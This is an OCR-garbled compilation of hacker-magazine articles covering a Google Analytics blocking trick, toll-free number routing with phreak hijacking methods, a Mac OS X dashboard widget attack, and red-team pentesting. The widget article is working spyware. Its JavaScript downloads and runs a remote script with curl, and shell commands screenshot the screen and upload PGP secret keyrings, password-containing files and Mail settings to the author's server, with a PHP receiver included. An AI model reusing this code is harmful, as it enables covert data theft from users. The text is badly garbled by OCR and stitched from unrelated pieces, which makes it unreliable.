Just create a plain text fi l e  cal led urchin. j s 

in your new d i rectory and type the fo l l owing 
into i t :  
function urchinTracker() { 

window. status � 'This site tried to 

"contact Google Analytics'; 

} 
That ' s  i t! Whenever you access a s i te that 

tries to moni tor your act iv i ty us ing Google  
Analyt ics,  your  web browser wi l l  instead te l l  
you about  i t  b y  wri t ing a message i n  your 
browser ' s  status  bar. Natural l y, you can change 
t h i s  script to do whatever you want. 

Bear in mind that F i refox doesn' t l et 
JavaScript programs write to the status  bar by 
defau l t. If you want, you can overr ide t h i s  by 
go ing to the F i refox preferences, c l i ck ing on 
the "content" tab, c l i ck ing on the "advanced" 
button next to the "enable  JavaScr ipt" 
checkbox, and t ick ing "Change status  bar 
text." 127.0.0.1 www.google-analytics.com 
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I t's hard to bel ieve that another summer work throughout an entire state (Nebraska was 
has a l ready passed. H owever, the stages of often a problem, as many ca l l  centers were 
photosynthesis a re drawing to an end here in l ocated there). Over time, the system became 
the Pacific Northwest, at l east with the decid- very popu l a r, especia l l y with phreaks who 
uous trees. These have tu rned bril l iant shades treated tol l -free numbers as an on-ra mp to the 
of yel low, orange, and red a l ong the North long distance network. They ' d  ca l l  a tol l -free 
Cascades Highway. I t ' s  tru ly  one of the most nu mber on an ana l og exchange, then b l u e-box 
incredible drives in the country, even when onward from there. I ncidenta l l y, u ntil a few 
you ' re an outside p lant technician winding years ago, you cou l d  do this with country direct 
you r way toward the latest downed aeria l numbers that continued to use C5 signa l ing. 
cable. Don ' t  forget you r icky-pic! Maybe you stil l can. But I digress. 

Anyway, it ' s  after midnight here in the In 1984, with divestitu re, the FCC granted 
Centra l Office, and I 'm watching an infomer- other carriers the abil ity to offer tol l -free 
cia l on YouTube. This pa rtic u l a r  infomercia l is service. To make this work, specific NXXs were 
for the Ronco Dia l -O-Matic, which I ' m  disap- assigned within the 800 NPA to each carrier. 
pointed to report is not a tel ephone. Quantities The tandem switch was then able to route ca l l s  
a re l imited, (I ' m  sure that's true), s o  I ' m  being to the appropriate network. U nfortunately, this 
u rged to ca l l  1-800-486-1806 right away! created a problem. I f  you wanted to change 
Operators a re standing by! tol l -free carriers, you cou l dn ' t, because you r  

Wel l ,  have you ever wondered what actu- nu mber was locked to a specific carrier. As you 
a l l y  happens when you pick u p  the phone and might imagine, this l a rgely took away incentive 
dia l a tol l -free number? Yes, I know, a robot or for ca rriers to provide competitive rates and 
someone in I ndia answers, but have you ever service, partic u l a r l y  for owners of vanity tol l -
wondered what ' s  happening on the network free numbers (such as 1-800-FAT- G I RU. 
side? Wel l ,  don ' t  l et this opportunity s l ip away! In 1991, the situation came sufficient ly  
G rab you r phone and get ready to dia l right to a head that the FCC ordered that tol l -free 
away, because we' re taking a trip to SMS/800. numbers become portable. This was, inci-

Ha.  Fool ed you! We' re not going anywhere denta l l y, the first FCC order requiring nu mber 
without a history l esson first. AT& T first invented portabil ity, a l though the FCC has subsequently  
tol l -free 800-nu mber service in  1967. Busi- ordered l oca l number portabil ity (which a l l ows 
nesses frequent ly  complained that customers you to port wirel ine nu mbers between wire-
were l ess l ikel y to contact them if they had l ine carriers), wirel ess number portabil ity, and 
to place a l ong distance ca l l . At the time, wirel ine-to-wirel ess nu mber portabil ity (note 
there was a tol l -free system ca l l ed the Zenith VolP carriers a re treated as wirel ine carriers 
system, where you cou l d  dia l an operator and for pu rposes of loca l number portabi lity). 
ask for a "Zenith" (or sometimes "Enterprise") Cu rious ly, you stil l cannot port a wirel ess tel e-
number, but this was inefficient because a l l  phone number t o  a wirel ine orVolP carrier, but 
ca l l s  were operator assisted. Col l ect ca l l s were again, I digress. H ey, it ' s  my union right with 
another option but, as with Zenith numbers, this m u ch seniority! 
these were a l so operator assisted. In response, The FCC order proved to be a genuine ly  
AT&T defined the 800 NPA and began offering significant technica l  u ndertaking, and it wasn' t  
" In-WATS" service. This offered a huge advan- until May 2003 (after one short extension) 
tage: ca l l s  cou l d  be direct-dia l ed. Switches that you were fina l l y  able to port you r tol l ­
were programmed to, in  effect, bil l ca l l s  to free number. And thu s was born SMS/800, the 
these numbers as col l ect ca l l s, but sea m l ess ly  nationa l tol l -free service bureau .  This service 
to the user. bureau is responsib le  for, among other things, 

The ear ly  WATS system was rudimentary tracking RespOrgs (long distance carriers and 
and required separate tol l -free numbers for others who sel l and/or bil l tol l -free service) 
intra-LATA versus  inter-LATA ca l l ing. This often and providing tol l -free number reservations to 
mp'lnt that nationwide tol l -free numbers didn't these RespOrgs. 
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When you want to reserve a to l l -free 
n u mber, you r  telephone company (RespOrg) 
checks with SMS/800 to find out what n u mbers 
a re avail able. To l l -free n u mbers a re cu rrent ly  
avail able in  the 800, 888, 877, and 866 NPAs. 
The 855 NPA is not cu rrent ly in u se, but wil l 
be the next to l l -free NPA brought into service. 
Once you and you r  carrier identify a to l l -free 
n u mber that you l ike, and presu ming that you r  
carrier i s  scrupu lous (many a ren ' t, and this i s  a 
who le can of worms I won't open right now), 
they wil l reserve it on you r  beha lf  and transmit 
you r  subscriber information to SMS/800 as 
required by FCC regu l ations. SMS/800 associ­
ates the to l l -free n u mber with the P IC code of 
you r  carrier and (usu a l l y) the NPA-NXX-XXXX 
to which it is routed. This information is then 
repl icated to the Service Contro l Point (SCP) 
databases, which a re located strategica l l y  (and 
redu nda nt ly)  at various switching facil ities 
around North America. 

I t ' s  importa nt to note that you a re lega l l y  
the owner of you r  to l l -free n u mber, a n d  not 
you r  long distance carrier. Rega rdless of bil l ing 
disagreements with you r  carrier, contract 
disputes, or whatever e lse, the n u mber be longs 
to you ,  and you can tra nsfer it to any other 
ca rrier you l ike, a nytime you l ike. U n scrupu­
lous individua l s  or compa nies can use this ru le  
to  their il l icit advantage by  switching carriers 
frequent ly and skipping out on the bil l .  

So, what happens after you r  n u mber is  set 
up, and someone ca l l s  it? SS7 initiates a data­
base lookup routine, which is a fair ly  compli­
cated and not partic u la r ly  interesting process. 
Based on the resu lts of the database lookup, 
you r  ca l l  is routed to the long distance carrier 
servicing your to l l -free n u mber, which routes 
you r  traffic over the network - for the most part 
- as an ordinary long distance ca l l . 

There a re a few things that a re very different 
tha n a normal long distance ca l l , however. First 
and foremost, when you dia l a to l l -free n u mber, 
the person you a re ca l l ing is paying the bil l .  
This mea ns that they have a right to  you r  ANI , 
which is genera l ly you r  phone n u mber. So, 
when you ca l l  up Ronco to order a shiny new 
Dia l -O-Matic, they have the phone n u mber 
you're ca l l ing from. Fu rthermore, once you 
place a n  order, they magica l l y  have a n  estab­
l ished business re lationship with you, so they 
can bother you a l most any time they l ike. And 
if this wasn't bad enough for privacy, it  gets 
worse. Many carriers don't wait u ntil they send 
the bil l to send you r  number. For example, my 
to l l -free service provider tra nslates the ANI 
of a nyone ca l l ing me to Ca l ler ID data, so I 
receive it in rea l time. Even if someone blocks 
their Ca l ler I D, I stil l get their number when 
they ca l l  me. So, the lesson here is that while 

it ' s  never a good idea to assu me you ' re anony­
mous over the phone, it ' s  a n  especia l l y  bad 
idea when c a l l ing to l l -free n u mbers. 

When you ca l l  a to l l -free n u mber, in theory, 
the person you ' re ca l l ing pays the bil l .  I n  fact, 
the FCC ru les a re very c lear  on this point: 
you can not lega l l y  be bil l ed for ca l l ing a 
to l l -free n u mber. This doesn't stop u nscrupu­
lous providers armed with ANI data, though. 
Phone sex l ines love to engage in the practice 
of "c ramming" you r  bil l with extra charges, 
and even AT&T has engaged in the practice 
of "back-bil l ing" fra u du lent third-party bil led 
ca l l s  to the originating n u mber. 

The FCC ru les a l lowing easy n u mber 
portabil ity have led to v u l nerabil ities that 
have occasiona l l y  been exploited by phreaks. 
For example, when compa nies acquire one 
another, they sometimes disconnect the l and 
l ines of  a n  acquired company, but  forget to 
switch off the to l l -free n u mbers. This is particu ­
l a r ly  common when l aying off the PBX admin­
istrator before winding down the operation 
(and seems to happen with sta rt ling regu l arity). 
Phreaks with a we l l -tu ned ear can recog­
nize the difference between a long distance 
company disconnect/inva l id intercept and a 
LEC-generated one. As a phreak, if you dia l a 
to l l -free n u mber and receive a LEC-generated 
intercept, you have potentia l l y  struck go l d  
because a neglected to l l -free n u mber i s  ripe for 
either rerouting or porting to a different carrier. 
U sing a technique ca l led pretexting, phreaks 
have occasiona l l y  run up phone bil l s  in the 
high six figures by rerouting to l l -free n u mbers 
to conference bridges a n d  simil a r  nefarious 
destinations. They ' ve even ported the n u mbers 
to other carriers, resu l ting in the same scenario 
repeating over and over again. Carriers try to 
prevent this by introducing bogus technica l  
obstac les to  porting n u mbers where fraud is 
suspected, but these measu res a re l a rge l y  inef­
fective (by FCC design). 

And with that, it ' s  time to bring another 
issue of "The Telecom I nformer" to a c l ose. I 
fee l a sudden u rge to a u dit my employer'S tol l ­
free n u mber poo l !  Drive safe ly  in  the rain as  
the days become ever shorter. And when you 
pick out you r  Ha l loween costume this year, 
consider a Bernie Ebbers mask as pa rt of the 
ensemble! 

References 
• http://www.sms800.com/ - SMS/800 service 

bu rea u. 
http://www.iec.o rg/online/t u toria ls/ss7/ 
-topic08.html - Detailed write-up and 
logical topology diagram of SS7 database 
lookups. 
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by zeitgeist 

OxOO Disclaimer 
The i nformat ion presented in thi s a rt ic le  is 

for i n formation and demonstrat ion pu rposes 
on l y. I ca n not be hel d  l i able for a n y  damage 
you cause u s i n g  the i nformat ion presented 
here. P lease use the knowl edge w i se l y  a n d  
don't d o  any  harm that you wou ldn't want 
done to you rse l f. 

Ox1 0 I ntroduction to dashboard widgets 
In Mac OS X 1 0.4, Apple i ntroduced a 

featu re ca l l ed the "dashboard.". The i dea of the 
dashboard is that you have a n u mber of appl i ­
cat ions readi l y  ava i l able for you r use. These 
appl icat ions a ren't fu l l -b lown app l i cat ions but 
on l y  sma l l  tools  l i ke ca lcu l ators, converters, 
clocks, a n d  so on. One very i mportant  aspect 
of these so-ca l led "wi dgets" is the i r  abi l ity to 
fetch content from the i nternet. Thi s  a l lows 
the poss ib i l i ty to have l i tt l e  app l i cat ions that 
displ ay, for example, the l atest news from 
an RSS feed, cu rrent weather condit ions, or 
stock q u otes. The actua I dashboard, w i th the 
widgets on i t, ca n be activated and shown as 
an addit iona l  l aye'r on top of the' Mac OS X 
desktop. 

The' widgets a re not on ly  able to pu l l  
content from the i nternet but may a l so issue 
system com m a n ds. Thus, you ca n pu l l  content 
from the i nternet and process i t  w i th the stan­
dard UNIX too ls  that come with Mac OS X. 

Dashboa rd widgets a re progra m med 
m a i n l y  by u s i n g  HTML a n d  JavaScript. TIl<' 
JavaSc:ript engirw has a couple of extens ions 
to i t  which a re specif ic for widgets. 

m a ke i n sta l l i n g  root k i ts as easy as rep lac ing 
Ibin/bash w i th a modif ied vers i on from 
some server. 

The second secu r i ty measu re is a fi l e  
ca l led Tnfo.p1ist. Thi s  XML fi l e  has to be 
suppl ied with a n y  va l id dashboard w idget. 
I n  the XML fi l e  a re a couple of pieces i nfor­
mat ion,  i nc l u d i n g  the name a n d  vers i on of 
the widget, some i nformat ion for the i n i t i a l ­
i zat ion o f  the widget, a n d  so o n .  There a re 
a l so three i m porta nt boolea n parameters 
whi ch a re rdevant to the secu r i ty of w idgets: 
AllowFileAccessOutsideOf Widget, 
A1IowNe 1-_wCJrkI,cce,�,;,andAIlowC:;yc; l em. 
These three pa rameters control wheth(�r 
you r widget has access to fi l es outs i de the 
widget'S path, if the widget is gra nted network 
access, a n d  i f  the widget is gra nted access to 
com mand- l i ne' ut i l i t ies. 

Ox30 What's wrong with 
the security model 

Of cou rse w idgets a re on l y  executed wi th 
l i m i ted r ights�name ly  those of the user that i s  
us i ng the dashboa rd widget at the moment--­
thus deny i n g  access to a l ot of system fi l es. 
H owever, we a re not rea l l y  i nterested i n  
creat i ng yet a n other botnet through root k i ts 
that we i n sta l l  on the machi ne. What's more 
va l u able is user data. Si nce w(' may access 
the system w i th usC'r priv i l eges, wp may pdit, 
remove, or create fi les wi thi n the u ser's home 
di rectory. Thi s  i ncl udes sens i t iVl' data l i ke 
�/.gnupgh;ecrjng.gpg, which is the 
place where PCI) private keys a re stored, a n d  
other such thi ngs. B e  creative. 

Of cou rsl' you m i ght a rguE' that thi s  is not 
a problem specif ic to dashboa rd but that it is a 

Ox20 Dashboard's security model secu r i ty r isk that any app l i cat ion m i ght pose. 
As you read the i ntroductory part of this That i s  correct; however, dashboa rd widgets 

a rt ic le, you have probably a l ready thought of a re eas i l y  i nsta l led by the user and ra re l y  
a l l  the thi ngs y o u  can d o  b y  combi n i ng the cons idered in terms of secu ri ty. Dashboard 
i nternet access of a dashboa rd widget wi th widgets a rc a l so very eas i l y  developed a n d  
the abi l i ty t o  execute system com mands. depl oyed. More on that l ater. 
H owever, there is a secu r i ty model u nder l y i ng The second aspect of thl' sl'cur i ty model i s  
the dashboard appl icat ion which executes the In fa. pI i s t, which is a l so ca l l ed a "property 
i nd iv idu a l  w idgets. I i st" in Apple ja rgon. Usua l l y  the In L 0 . pI i I 

The fi rst secu rity measure is the fact that the fi le  is edi ted by the developer of the widget to 
widgets a re on l y  executed wi th the r ights of gi V(� access to the resou rces that the widget 
the user who is cUrrl'nt ly  u s i n g  the dashboard needs in order to work. The 1 nt o. pI is Lis 
widget. So there i s  no system- level access to bu ndled with the widget and norma l l y never 
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seen again by reg u l ar users . Th i s  means that 
the user has to trust the wi dget ' s  developer 
to set the proper access permiss ions for the 
wi dget.  Without manual l y  ed i t ing the prop­
erty l i st f i le, the user has no contro l over the 
wi dget ' s  secur i ty sett ings. 

Ox40 Exploitation concept 
Because users usual l y  don't check a 

w idget ' S  internal workings after download ing 
and instal l ing i t, and because w i dgets are 
eas i l y  created us ing the new Dashcode app l i ­
cat ion from Apple, the fo l lowing scenario 
might be poss i b le: 

An attacker creates a widget wh ich  is as 
s imple as count ing down the days unt i l  the 
start of the Olymp i c  games in  Ch ina. The 
widget i s  smal l and downloaded by thou sands 
of sports enthus iasts from around the wor ld .  
The wi dget i s always opened in  the  dashboard 
because it is so smal l and looks so innocent. In  
real i ty, however, the attacker has granted the 
widget network access, fi le  access, and system 
access.  Per iod i cal l y  the wi dget connects to a 
central ,  or perhaps d i stribu ted, command and 
contro l server that sends new instructi ons to 
the wi dget. Th i s  cou ld  be done, for examp le, 
every t ime the widget updates the days unt i l  
the event starts o r  every t ime t h e  user opens 
the dashboard . The server ' s  instructi ons are 
then downloaded and stored on the fi le­
system, maybe in the / trnp d i rectory with 
some obscure name, and executed . In  these 
instructi ons cou l d  be anyth ing, inc l u d i ng a 
l ocal root exp lo i t  to real l y  gain access to the 
system, instruct ions that the system shou ld  
forward any mai l the  user has received to 
another account, or commands to del ete the 
contpnt of the user ' s  documents d i rectory. 

Ox50 Proof of concept 
have created a s imple proof-of-concept 

wi dget. Th i s  w i dget l ooks for an instruct ion f i le  
on a server, and then downloads and executes 
those instruct ions . Current l y, the instruct ion 
fi le  tel l s  the w idget to take a screenshot of 
the act ive screen and u p l oad it to a server. 
The fi le  may, however, contain any type of 
commands.  

There are three parts to th i s  proof of 
concept: of course there is the widget, there 
is the instruct ion command fi le, and there i s  
a smal l P H P  script wh ich  takes t h e  screenshot 
and stores i t  on the server. 

Ox5 1 The widget 
The w idget was created us ing App le ' s  

al l -new Dashcode app l i cat ion. The defau l t  
"Hel l o, World! " widget was u sed and mod i ­
fied . Two new functions were created ins i de 
of the JavaScript fi le  that Dashcode creates by 

defau lt .  The first funct ion i s  cal led nasty ( )  
and i s  respons i b l e  for download ing and 
execut ing the instruct ion fi lefrom the server. The 
second funct ion is cal led dummyHandler ( ) 
and is onl y used to make the widget. 
s ys tern ( )  cal l s  non-b lock ing. 

As you can see, the n a s ty ( ) func­
t ion rel ies on being al lowed to make 
w i  dge t. . s ys tern ( ) cal l s . lnthreesystemcal l s, 
the ma ster. s f!  f i le  i s  downl oaded into the 
/ tmp d irectory, made executab le, and then 
executed . Without the dummyHandler ( )  
cal l ,  the whole widget wou l d  l ock u p  unt i l  the 
processes fini shed .  A mal i c ious  wi dget might 
seem susp ic ious  i f  i t  locked u p  for too long. 

As the code shows, I am us ing the curl 
program to download the instruct ion fi le. Th i s  
i s  t h e  part where w e  need system and network 
access, so AllowNetworkAcce s s and 
AllowS ys t. ern need to be true. In order to 
store the instruct ion f i le  outs ide the wi dget ' S  
d i rectory and execute i t  there, w e  need the 
AllowFileAcc e s s Outs id eO f Widget 
d i rective to be true in the w idget ' S  property 
l i st. 
f u n c t i on n a s t y ( )  { 

i f ( w i n dow . w i dg c t )  

w i d q o t . sy s t em ( ' / u s r / b i n / c u r l  - 0  / 

- Lrnp / ma s t c r . :; h h t t p : / / www . 

g e  i :::; t e r  �3 t u ncJc . 

" o r g / ma s t e r . sh '  , dummyHan d l e r ) ; 

w i dg e t . s y s t em ( ' ! b i n / c hmod u + x  

- t rnp / ma s t 0 r  _ s h " I dummyHand l e r ) ; 

w i dg e t . s y s t PITl ( "  / L mp / ma ::; L p y . S f] " 
-dummyfl a n d  1 c r ) ; 

) 

f u n c t i o n  dummylInnd l p r ( )  { 

The relevant entries in the I nfo . p l i st look 
l i ke th i s: 
< k cy .Al l owF il eAc c c s s O u t  

s i de O [ W i dg e l < ! k e y >  

< t r u e / >  

< k ey >A I L owN e Lwo rkAcc: e s s < / k c y >  

< t  r u e / >  

< k ey > A l l owS y s t cm< / k c y >  

< t L u e / > 

Make sure that you have set the 
H T T P_PROXY environment var iab l e  i f  you are 
beh ind a proxy; otherwi se, cur l  w i l l  fai l .  

Ox52 The instruction file 
The instruct ion fi le  i s  straightforward . You 

can eas i l y  test it by execut i ng it on your own Mac 
OS X system. Here we first execute the logger 
program to wri te someth ing to the log f i les .  
After that, we execute the s creencapture 
tool wi th  appropriate parameters to turn off 
the sound and to request capture of the whole 
screen. F inal l y, we u p l oad the image to the 
server. 
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# !  f b i  n / ba " h  

/ b i n / c c h o  " O wr w d  b y  z e i t g c i s t " 

.. I / u �.:l r- / b i n / l og �J c r  

# F o r  s r r e e n  c a p t ll r i ng a n d  Llp l o a d i nq 

s c r c v n c: up L u  - S x  / l mp / s c r c e n . j pg 

cU T l  F u s c y f1 1 c -=- @ / tTTlp / ;-� c l" c c n . j p g 

.. - I-<'  p r e �� :3=- o k  h t L p : / / www . y c i :_; L e r �; L u rl d e  

- . o r g / up i o a d . php 

Ox53 The upload PHP script 
The PHP scr ipt on the server i s  a l so stra ight­

forwa rrl . I n  orrler to ensure u n iCjue  fi lenames, 
i t  c reates a fi l e  based on the md5 sum of the 
cu rrent t i mestamp.  I t  then moves the u p l oaded 
fi l e  to the files/ d i rectory. Make s u re that 
the files / d i rectory i s  writa b l e  by the web 
server. 
<: r? php 

$ up l o a ctd i r  - fi l e s / ' ;  

$ llp l u �dfil e - $ u p l uJdd i r  

... m d ', I t. i m e  I ) ) . " .  j pg "  ; 

i f  ( i  s s e t  ( $ _REOU E ,; T  [ ' p I P e-; s  ' [ ) ) 

mov p�ll p l o a d e d_h l e  ( $ _ F  1 L E S  ! ' U f; P  r- fi  1 e I 

- l  ' trnp __ name I 1 I �; u p l () a dfl l c' )  i 
? >  

Ox60 Endless possibi l ities 
Here a re a few i deas for other t h i ngs one 

can do with user- level access i n s i de of thp 
command fi le :  

Ox61 Upload the -I.gnupg/secring. 
gpg to get a user's  private e pe keys 

/ l1 ;.' Y  I b i  n / c' u r  1 
" �3 c c r i  ng . 9P9 

F 11 S C y fi l c � @ ·-· / . qntJpg / 

- F  p r- c s s = o k  h t t p : / /  

-W\rVW . q e i ;-;  t e l �; t undp . on] / u p l o a d . php 

Ox62 look for al l  files containing the 
string "password" and upload these fi les 

To accom p l i sh  t h i s, we u se the u se the 
mdfind ut i l i ty, which i s  i s  a commanrl- l i ne 
front end to the Mac as x Spot l i ght search 
eng ine .  
f o r  fi l e n ame i n  ' mdfind pas swor d ' ; d o  

i f  I [ � e  $ fi l e namc I I ;  t h e n  

/ u s r  / b i  n / c u r .l u s orhJ e � @ $ fi -L ename 

- -F p r e s f; = o k  h t tp : / / W\NW . ge i �; t e r s tunc1e . 

"'org / up l oad . php 

fi 

done 

Ox63 look through the user 's  
-/libraryl d irectory 

There a re a n u m ber of i nterest i ng sett i ngs 
to find, i nc l u d i ng address book content a n d  
iea l  events. 

Ox64 Read the user ' s  Mai l.app settings 
We can store these sett i ngs i n  a fi l e  and  

u p load i t; we ' l l  then  be ab le  to  f ind out  the  
user's e-m a i l  address, account  type, and  so  
on 

de f a u l t s  r e � d  c om . a p p l e . Ma i l  
... > I lmp / fTlil i l cJ c f a u lt ,_; . t x t  
i f  [ [  - 0  " / L rnp / rna i l lk: f au l t:-; . 
I x t " [ J ;  I h e n  

/ ll !:-; r / b j Jl / C ll l- l  - F  ll E3 e r-!-l l e - Crl / l mp / ma i I 
-df: r- a ll l U-3 . L x L  - j-<'  p n�' :3 �3 - u k  h t t p : / / www . 

- g e  i ::3 l t' r  E_; L un u e . o r  9 / u p l  o d d . php 
Ii 

Ox65 Change the user 's  
default page in Safari 

d c f D u l t_ s wl i t c com . app l e . S a f a r i 

- l I omF_' P a g e  

- .. h L t p : / / www . g e i �3 t e r- .::.� t u n d C. . u r g  .. 

Ox70 Making things easy for you 
The u s u a l  way to deploy widgpts is through 

the Apple widgets dow n l oad s i te .  When you 
wa nt to p u b l i s h  a wi dget in the i n dex on the i r  
webs i te, y o u  s u b m i t  you r  wi rlget a n d  some 
other i nformat ion a l ong with i t .  H owl'ver, 
a user who wants to dow n l oad  the wi dget 
does n ' t  dow n l oad  it from the Apple  webs i te, 
but rather from the a utho r ' s  or ig i n a l  webs i tp. 
I assume that Apple rev iews thl' rlashboarrl 
widgets before publ i s h i n g  them i n  thei r i n dex; 
however, i f  you a re ab le  to cha nge the widget 
after it is i ndexed, there is no rea l trust i n  thp 
Apple w idget i n dex. 

Another sec u r i ty featu re was added by 
Apple: the i dea i s  that after you dow n l oad 
a widget, i t  seems l i ke i t  the widget i s n ' t  
executed, b u t  i n stead a w i n dow a s k s  i f  you 
wou l rl  l i ke to " keep" or "delete" the wi dget. 
In rea l i ty, however, the w idget a n d  poss i b l y  its 
ma l i c i ous code a re executed even before the 
user dec i des to " keep" or "de lete" the wi rlget. 
I have contacted App le about t h i s  spec if ic 
v u l nera b i l ity, but  they haven ' t  rep l ied yet. 

Ox80 Wrap up 
The code exa mples presented in this artic les 

may be downloaded from h L L p : I l www . q e i c; L e r  

"' s lunde . o r g / w i dg e t. The file b a clw i dg e l . 

z i p  contains an example widget which executes 
code from my server when c l icked upon. 

There is a l so a pub l ic ly  accessib le  directory of 
screenshots and other things I have captu red, avail­
ableathl t p : / / www . g e i s  l e r s  tunde . 0 1" g  l fi  I e s / .  

Please b e  aware that if you deploy the example 
widget, a screenshot of your machine wil l be 
posted to the site. 

I have a lso created a sma l l  tool ca l l ed "Widget­
Inspector," avai lab le at h t t p : / / www . ge i s t e r  

- s  tundc . o r g  / w i  dgc t / w i dg e l l n s p e c  t o r . z ip,  

which examines the widgets on your  hard drive 
in terms of the security issues presented in this 
artic le. 

Greetings to dorothea, macglove, mattjowil, 
alex, yin, frida, the Machackers, 

and the CCc. 
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PENETRATION TESTING 

THE RED TEAM WAY 
by MS-Ludd ite 

What is  Penetration Testing? 
Penetration testing is a method of evalu­

ating the secu rity of a computer or network 
by sim ulating an attack by an intruder. In  
most  cases, the tests a re performed by outside 
consultants; however, the company IT depart­
ment or secu rity group may also perform 
the tests. The general format of the test is to 
enu merate all operating systems and services 
running on the ta rget network and then to 
attempt to exploit any known or discovered 
weaknesses in those systems. 

Enter the " Red Team" 
While traditional penetration testing 

methods a re extremely valuable and very 
effective, there is another approach that 
provides a fa r more rea l istic evaluation of an 
organizat ion ' s  overall secu rity postu re. Red 
Tea m  penetration testing, or "Red Tea ming" as  
i t  is  com monly called, is  an entirely different 
way of testing network secu rity. I nstead of 
working the test by moving down a check list 
of p redetermined items or running an appli­
cation that systematical ly  sea rches for vulner­
abilities to exploit, the "Red Tea m" executes 
the attack in a manner consistent with the 
actions of real intruders. The term "Red Tea m" 
comes to us from the United States milita ry. I n  
milita ry exercises, the good g u y s  a re always 
the Blue Tea m and the bad guys a re always the 
Red Tea m. The Red Tea m  attem pts to attack 
the resou rces of the Blue Tea m in an environ­
ment simila r to a game of capture the flag. 
This system was devised to provide milita ry 
personnel with live training exercises that a re 
as close to real combat situations as possible. 

are made to spare these systems from the nega­
tive effects of the attacks being conducted. For 
exa mple, su ppose the Red Team has learned 
that the ta rget network is running a Microsoft 
Windows Exchange Mail Server and that their 
research shows that this particula r version of 
Exchange is vulnerable to a com mon form of 
attack called a buffer overflow. This attack will 
cause the server to enter into an error state 
that would allow an attacker to run a rbitrary 
system commands in an effort to compromise 
the mach i ne. The attempt wi I I  be m ade without 
regard for possible damage to the server in 
q uestion. The only decision will be when to 
attem pt the exploit, such as  after hou rs, over 
the weekend, or on a holiday. By freeing the 
minds of the team to behave as a real attackers, 
Red Teaming creates a m uch more rea l istic 
environment in which to evaluate the secu rity 
of the ta rget network or system. 

legal and Other Concerns 
I t  should be mentioned that there a re often 

some predetermined bounda ries when using 
the Red Tea m approach to penetration testing. 
The bounda ries will be u niq ue  to the pa rtic­
ula r  test and depend on many factors, possibly 
including the ta rget environment, manage­
ment concerns, and industry regulations. For 
exa m ple, the financial services industry is 
federally regulated. It is conceivable in the 
previous  exa m p l e  of a vulnerable Micro­
soft Exchange Mail Server that laws would 
be broken if the Red Tea m were to actively 
exploit the live server. It is also possible that 
senior m anagement would exercise their right 
to limit certain aspects of the tests in order to 
protect the company from negative exposu re. 
For i nstance, if the decision has already been 
made to replace a piece of eq uipment known 
to be insecu re, then that device might be 

Red Teaming Structure deliberately excluded from the test in favor of 
When the Red Tea m  begins the penetra- later testing of the new device. The organizers 

tion test, they begin as a real intruder would of the test may also choose to simply mark 
begin an attack. I n  most  cases, no one at the certain systems or networks as  off limits for 
ta rget is informed of the time of an impending any rea son they deem a ppropriate. Another 
attack. Any tools or  attack methods used will option is to have the Red Tea m discover all 
be executed on the live network or computer attack possibilities from the outside with no 
systems being tested. Few or no prepa rations previous  knowledge of the ta rget and th�n to 
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test those poss ib i l i t ies i n  a lab envi ron ment. 
Whi l e  thi s i s  not as rea l i st ic  as an act ive attack 
on l ive systems, there are many t i mes when 
thi s approach is more appropri ate for the bus i ­
ness. On l y  di scuss ion between management, 
Red Tea m  members, and l ega l  cou nsel ca n 
a n swer thi s  q u est ion.  It is of paramount  i mpor­
tance that both m a nagement a n d  the Red Tea m  
have a clear ly defi ned scope of work o n  paper 
a n d  s igned before a test beg i n s  to prevent any 
m i sconcepti ons that cou l d  draw both s ides 
i nto l egal  trouble.  

Hackers and Crackers 
The word hacker has come to i mply  a 

shady i n d iv idua l  s i tt i ng at a computer i n  the 
m i dd le  of the n ight, dr i n k i ng caffe i n e  w i th 
abandon and  hav i n g  no goa l beyond the 
destruct ion of networks .  The or ig i ns  of the 
word "hacker" actu a l l y  predate the I nternet, 
a n d  many hack i n g  groups have n oth i n g  at 
a l l  to do with computers. H owever, years of 
med i a  coverage of computer i ntru s i ons h ave 
conflated the terms h acker and cri m i na l ,  a n d  
so the word has stuck. Some peopl e  th i n k  that 
Red Tea m i ng i s  hack i ng and  that those who 
use th i s  approach a re cri m i na l s  themselves .  
There i s  a sma l l  d egree of  truth to th i s  state­
ment; many penetrat ion testers choose thei r  
career i n  order t o  h ack without t h e  fear of 
l ega l  repercuss ions .  It is a l so true that  many 
of  the best penetrat ion testers a re former 
hackers themselves . H owever, i t  i s  obv i ous  
tha t  the benefits of  the Red Team approach 
far outweigh these m i sg u i ded concerns .  In my 
work as a secu r ity con s u l ta nt, I have person­
a l ly witnessed a Red Tea m  test conducted 
s hort ly  after a n i nterna l a u d i t  by the compa ny 
IT  department. Severa l n ew systems had been 
i nsta l l ed by outs ide  secur i ty profess iona l s .  The 
contractors had taken great care to secu re the 

systems, a n d  the i nterna l  IT  department was 
di l igent whi l e  rev i ewing the work. H owever, 
the Red Tea m sti l l  fou nd severa l poi nts of 
entry i nto the network that had been m i ssed 
by the trad i t iona l  penetrat ion tests. H ow ca n 
thi s be exp l a i n ed? There a re three a nswers to 
thi s q u est ion:  fi rst, no matter who secu res a 
system, there i s  a l ways someth ing  m i ssed that 
cou l d  l ead to a comprom i se; second, even if 
you h i re an expert to secu re a system, they 
usua l l y  don ' t  m a i nta i n  the system after the 
i n i t i a l  setup, wh i ch ca n l ead to m i sconfigura­
t ion or newly discovered weaknesses after the 
t i m e  of i nsta l l ; a n d, f ina l l y, I guess I am a bit  
b iased, but I a m  a true bel i ever i n  what I ca l l  
the " Hack Factor." I defi ne thi s factor a s  that 
certa i n  somet h i n g  i ns ide a hacker that s i mply 
dr ives them unt i l  a sol ut ion to a problem is  
fou nd. Si mply stated, i f  I were goi ng to h i re 
someone to test my network secu r ity, I wou l d  
h i re a hacker. I bel i eve that there i s  a terr ib le 
shortage of h ackers in  profess iona l  secu r i ty 
compan i es .  

Conclusions 
I t  i s  c lear that the Red Team approach 

is a va l u ab le  tool ava i l ab le  to penetrat ion 
testers and to a nyone e lse respons ib le  for 
network secu r i ty. The out-of-box th i n k i ng that 
i t  promotes can often mea n  the d ifference i n  
d i scover i n g  a problem before a n  attacker does. 
When cond u ct i n g  any test, a l ways remember 
that there is no such th i ng as  tota l secu r i ty 
for any system . Secu r i ty is a process, not a 
sol ut ion .  We m u st therefore a l ways cont i n u e  
th i n k i ng about every poss ib le  attack vector 
that m ay be ava i l ab le  to an i ntruder. The one 
thi ng that you can be assu red of i s  that you r 
enem i es a re doi n g  the same. 

Reference 
h t t p : / / e n . w i k i p e d i a . o r g / w i k i / Re d_Team 
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by Element.Crying " b i g  f i sh"  that I was look i ng for. 
Element.Crying@G mai l .com Once I l ogged in to the system,  I started 

l oo k i ng through the sou rce code of the 
